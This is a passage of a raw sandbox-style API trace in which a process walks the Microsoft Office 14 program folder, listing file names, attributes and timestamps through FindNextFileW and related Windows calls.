ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x520ac7c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x15f40800, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x722, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDERRLNK.VRD", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f5a00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x900f5a00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4b425a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.DEV.HXS", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711d3000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x711d3000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711d3000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x711d3000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711d3000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x711d3000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91408700, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91408700, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x168406, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.HXS", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_COL.HXC", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d89a900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d89a900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_COL.HXT", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d89a900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d89a900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d89a900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d89a900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17253500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x521b7160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17253500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINSCHD.VRD", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97366800, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97366800, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x718092, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.DEV.HXS", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3a1f00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3a1f00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3a1f00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3a1f00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3a1f00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5998f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3a1f00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02ac500, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0x1e5bfa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe02ac500, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x4ff5e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.HXS", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_COL.HXC", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79756b00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79756b00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_COL.HXT", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79756b00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79756b00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79756b00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79756b00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x521b7160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa560, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORKFLOW.VSL", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x225ee90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8a5d00, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x2212bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8a5d00, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0x1a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea593000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x2284ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea593000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0x96180, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c57a100, ftCreationTime.dwHighDateTime=0x1cac466, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4c57a100, ftLastWriteTime.dwHighDateTime=0x1cac466, nFileSizeHigh=0x0, nFileSizeLow=0x4188, dwReserved0=0x0, dwReserved1=0x0, cFileName="wxpr.dll", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fff8a00, ftCreationTime.dwHighDateTime=0x1bdff9a, ftLastAccessTime.dwLowDateTime=0x1548bc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3fff8a00, ftLastWriteTime.dwHighDateTime=0x1bdff9a, nFileSizeHigh=0x0, nFileSizeLow=0x34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WZCNFLCT.CHM", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="XFUNC.VSL", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x3283, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xlate_Complete.xsn", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xlate_Init.xsn", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dd9100, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ee1fd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x44dd9100, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x240d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL", cAlternateFileName="")) returned 1 [0069.665] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427b3700, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x427b3700, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x18380, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.666] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x414a0a00, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ee1fd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x414a0a00, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x5db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.666] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ac6400, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ee1fd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x43ac6400, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLLEX.DLL", cAlternateFileName="")) returned 1 [0069.666] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae096500, ftCreationTime.dwHighDateTime=0x1c30d4d, ftLastAccessTime.dwLowDateTime=0xfa6bd7f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xae096500, ftLastWriteTime.dwHighDateTime=0x1c30d4d, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLMACRO.CHM", cAlternateFileName="")) returned 1 [0069.666] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa6e3950, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x2b580, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL", cAlternateFileName="")) returned 1 [0069.666] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc255d100, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa6e3950, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc255d100, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.666] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf94f400, ftCreationTime.dwHighDateTime=0x1c556ae, ftLastAccessTime.dwLowDateTime=0x112efdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf94f400, ftLastWriteTime.dwHighDateTime=0x1c556ae, nFileSizeHigh=0x0, nFileSizeLow=0x349922, dwReserved0=0x0, dwReserved1=0x0, cFileName="XMLSDK5.CHM", cAlternateFileName="")) returned 1 [0069.666] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf94f400, ftCreationTime.dwHighDateTime=0x1c556ae, ftLastAccessTime.dwLowDateTime=0x112efdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf94f400, ftLastWriteTime.dwHighDateTime=0x1c556ae, nFileSizeHigh=0x0, nFileSizeLow=0x349922, dwReserved0=0x0, dwReserved1=0x0, cFileName="XMLSDK5.CHM", cAlternateFileName="")) returned 0 [0069.666] GetLastError () returned 0x12 [0069.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a10) returned 1 [0069.666] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.666] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0069.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\1036"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.667] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1758048 [0069.667] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1758048, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1758048, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1758048) returned 1 [0069.668] NtClose (Handle=0x198) returned 0x0 [0069.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.668] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.668] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.668] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, 